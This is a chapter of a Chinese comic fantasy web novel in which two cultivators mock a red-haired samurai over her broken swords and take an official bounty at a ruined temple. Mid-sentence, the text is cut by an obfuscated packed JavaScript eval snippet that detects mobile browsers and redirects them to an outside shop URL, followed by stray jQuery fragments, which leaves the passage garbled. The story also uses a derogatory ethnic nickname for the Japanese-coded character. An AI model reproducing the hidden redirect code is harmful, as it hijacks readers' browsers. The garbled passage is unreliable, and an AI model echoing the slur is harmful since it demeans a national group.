女人,太君的干活,普通话一股小日子的口音。
“啧,”哥舒翡嫌弃,“外地佬。”
女人大叫,好一头气血充足的驴:“——你好意思说我?!”
她气愤,随意扯断了“白绫”,塞进口袋里。
燕衔花看明白了,那玩意儿居然是一条拆开的兜裆布,开心了穿身上,悲伤了还能脱下来吊死自个儿,小日子果然最奸猾!
哥舒翡:“……”
奸猾在哪?
只见奸猾的小日子放弃了上吊,主动退一万步改成干嚎:“我的大老婆、二老婆、三老婆啊——”
舞幽壑之潜蛟,泣孤舟之嫠妇。
燕衔花:“……”
她好奇地低下头,观察起小日子扔在地上的老婆们——三把尺寸不一的武士刀。
燕衔花举起处方笺:
“你的大老婆二老婆三老婆都断了。”
子曰,有朋自远方来,伤口撒盐。
小日子:“……”
小日子奸猾地大哭:“哇——!!!”
·
·
·
上回书没说到:
旧日地席卷天下,包举宇内,囊括四海。
旧日地西部,是应许地,哥舒翡的老家;
旧日地东部,是丰苇地,小日子的老家。
应许地和丰苇地之间,是幅员辽阔的中和地。
燕衔花来自中和地东部的秦淮;
唐棠来自中和地北部的西府;
大松和二竹来自中和地南部的百越。
由此可得:
燕衔花才是高贵的本地爷。
哥舒翡,以及奸猾的小日子,都是外地佬。
“在下晏瑰意。”
小日子奸猾地自报家门。
燕衔花和哥舒翡对视,果不其然,在彼此脸上都读出了同一个表情:
——谁问你了?
他们都不是太想认识一位用兜裆布吊死在板子前的小日子。
以及三个五等分的老婆。
晏瑰意等待。
晏瑰意不安地等待。
晏瑰意局促不安地等待。
一时间,沉默,震耳欲聋。
晏瑰意:“……”
晏瑰意大怒:“快接我的话啊!!”
——这两公婆到底有没有人性啊!
如图所示,晏瑰意嗓门儿洪亮,好一头气血充足的红毛大叫驴。
肩披阵羽织,身穿马乘袴,她一身丰苇地浪人打扮,火燎燎的长头发染红了斗笠。
晏瑰意很“长”,头发长、脖颈长、四肢长,好一柄修长又单薄的绯红色刀锋。
她快要一米八了吧?
燕衔花不服气地踮起脚尖。
“机匠,”哥舒翡指自己,“她是天问。”
修士出门在外,不报真名是基本常识,一来避仇,二来避祸,三来避嫌。
“哦……”晏瑰意挠头,“我是史。”
燕衔花:“……”
哥舒翡:“……”
一时间,沉默,震耳欲聋。
哥舒翡好心地提醒:“美女,第四声——‘侍’。”
你再着急也不能说自己是史。
“哦……”晏瑰意挠头,“有什么区别吗?”
燕衔花:“……”
哥舒翡:“……”
一时间,沉默,震耳欲聋。
晏瑰意:“……”
晏瑰意大哭:“哇——!你们快告诉我没区别啊!!”
·
·
·
“侍”,七杀流派之一,使用武士刀近身作战的修士。
在丰苇地,侍并非江湖侠客,而是统治阶层。
说白了:
这玩意儿是讲出身的。
一般舞刀弄枪的丰苇地修士可算不上“侍”。
——这也就是说,燕衔花严肃地思忖,红毛大叫驴是一头名门千金?
为了三把刀用兜裆布上吊的名门千金吗?
听起来未免太前卫、太先锋、太艺术了。
在燕衔花的认知里,和修士沾边儿的名门千金,是“林兰仙子”云白栀与“夜雨闻铃”冷霜华。
一言以蔽之:
——装。
无论心思再怎么丑恶,也要找出好些根撑门面的骨头,强装出一副拒人千里之外的高傲嘴脸来。
比如云白栀,她夺走燕衔花嗓子的时候,从头到尾没有说过一句难听的重话——林兰仙子纤尘不染,流汗、流泪又流血的人,怎么也轮不到她。
晏瑰意……不一样。
扑通,只见名门千金跪下了,抱住哥舒翡大腿:
“机匠大人,我的大老婆、二老婆、三老婆香消玉殒,只有你有办法,请你救救她们吧!”
燕衔花:“……”
——要不然你还是装一下吧。
哥舒翡冷傲地甩起了狐狸尾巴:“你为什么不及时维修武器?”
“以后你再定我的罪吧,”晏瑰意又掏出兜裆布来擦眼泪,“请你焊好她们吧!”
哥舒翡沉痛地摇头:“不是我不想救……”
晏瑰意竖起耳朵:“而是?”
“而是你根本没一个子儿。”哥舒翡诚恳地摊开手。
方才,他小手不是很干净地摸了一遍晏瑰意的钱袋,名门千金身无分文:
——要不然你还是上吊吧。
“大老婆、二老婆、三老婆!”
晏瑰意悲痛地捧起了断刀,“不要死啊!老婆!!”
她悲愤地立正了!
“我的大老婆、二老婆、三老婆死了,你现在开心了吧!——你这个冷漠无情的人,我永远都不会原谅你!!”
说罢,她一甩兜裆布,重新吊在了歪脖子树上。
燕衔花与哥舒翡对视了一眼。
——他们不约而同地看起了板子。
晏瑰意:“……”
晏瑰意大哭:“快来拦我一下啊!!”
这两公婆到底有没有人性啊!
·
·
·
哥舒翡冷漠无情地下蹲。
冷知识:
板子的背面或者底座,会有一行特定的编号。
修士一旦迷路,找到板子,就能够确认自身的位置。
这玩意儿跟天工城的电线杆是一个道理。
哥舒翡在外飘习惯了,轻车熟路,很快在板子的背面找到一行编号:
瓯〇贰伍。
他抖开了随身的地图:
——中和地,东南部沿海地带,邻近百越地。
嘶。
哥舒翡扬起眉毛:
居然是这儿?
他如果没记错的话,瓯贰伍海岸……本该相当繁华吧?
嗖——
阴风阵阵,寒鸦声声。
哥舒翡抬头,圆月好似一张惨白的人脸,挤进斑秃的树冠,冷不丁地注视着众人。
·
·
·
板子上人声鼎沸,热闹非凡。挂人与吵架齐飞,出警共喊话一色,修士们都在不遗余力地攻击对方。
在血肉熔炉里泡久了,再看见乌烟瘴气的板子,燕衔花顿时充满了思乡之情:
这就是修界社区,二次元生长的地方,欢迎来到我们的世界,娇贵的现充!
比起废肉,比起凶心御免,比起实验体,燕衔花浏览帖子,“渡大三劫,招夜游巡,来正常
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645979|185429||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人”是多么文明礼貌,“搞上皇的是全家死光了吗”是多么和蔼可亲。
晏瑰意小声议论:“这症状持续多久了?”
哥舒翡小声议论:“大夫建议眉毛以下全部截肢。”
燕衔花:“……”
燕衔花愤怒地举起处方笺:
“——我都听见了!”
她头顶野花环,双手叉腰,好一只细脚伶仃的水鸟,在板子前不爽地竖起了嘴筒子。
燕衔花火速地浏览了一遍板子。
【八百两白银出机关雀,支持动物交谈,十三花同门打九折】
燕衔花顿时怀念起自个儿暴毙的机关雀。
八百两,买不起。
下一条。
【赤明劫招人,修为元婴期起步,从六品剑骨及以上,要求大三劫任意一劫经验,自备渡劫记录,严查,点进来获取联系方式】
劫,来自天道的考核,修士每逢晋升,必要渡劫。
这是燕衔花的知识盲区,她好不容易从炼气爬到了筑基,又因为拔不出剑骨,错过了雷劫——就这么卡住了。
赤明劫,是渡劫期的修士,必然要面对的“六尘劫”之一。许多人在元婴期就会开始着手准备,跟燕衔花一个筑基期的臭鱼烂虾没什么太大关系——以她的实力,连入队的门槛都摸不到。
下一条。
【三等一,压制啮指佛寺,离骚优先】
咦?
燕衔花眼皮一跳。
“啮指佛寺”,位于瓯贰伍海岸,百来年前香火鼎盛,无量佛祖真身的指骨舍利,正是供奉在此地的“大圣真身宝塔”之中。
传闻,无量佛祖的舍利子,有“业惑净尽,更无所断”之能。
——听上去能够祓除凶心机变。
不过,啮指佛寺,有什么好压制的?
再如何荒凉,也只是一处佛寺废墟而已,修士又不是打扫卫生的钟点工。
“小大夫,抬头。”
哥舒翡屈起修长的指节敲了一下:
“我们来活儿了。”
燕衔花踮起脚尖上望。
板子太高了,文字的排版又相当密,她习惯拦腰阅读。
此时,板子最顶端,飘出了一行红横幅:
【奉天伐罪令开放】
【瓯贰伍海岸】
【啮指佛寺】
·
·
·
“奉天伐罪令”,官府发布的任务委托,内容大多是清剿妖魔鬼怪,维护一方地区的和平与稳定。
不常见。
民众委托才是各路散修最普遍的收入来源。
炼气期修士,听上去是路边一条,事实上,旧日地的平民百姓,大多将自己的安危乃至村落的命运,维系于初出茅庐的小队伍身上。
因为这些人,速度快、收费低,什么鸡毛蒜皮的小事儿都接,还能够避开官府的盘剥。
——死了也不用负责。
官府委托不一样。
这种委托,通常关乎上千人的生死,一个地区的存亡,是为“奉天伐罪”。
燕衔花点进奉天伐罪令,立刻明白过来,为什么一处佛寺废墟,需要官方出面招募修士了。
【敬请广大修士注意:此地存在凶心机变】
【敬请广大修士注意:此地存在凶心机变】
【敬请广大修士注意:此地存在凶心机变】
啧。
燕衔花与哥舒翡交换了一个眼神。
——啮指佛寺?
那必须去一趟了。
·
·
·
注1:“席卷天下……”出自《过秦论》。
注2:“业惑净尽……”出自《大明三藏法数》。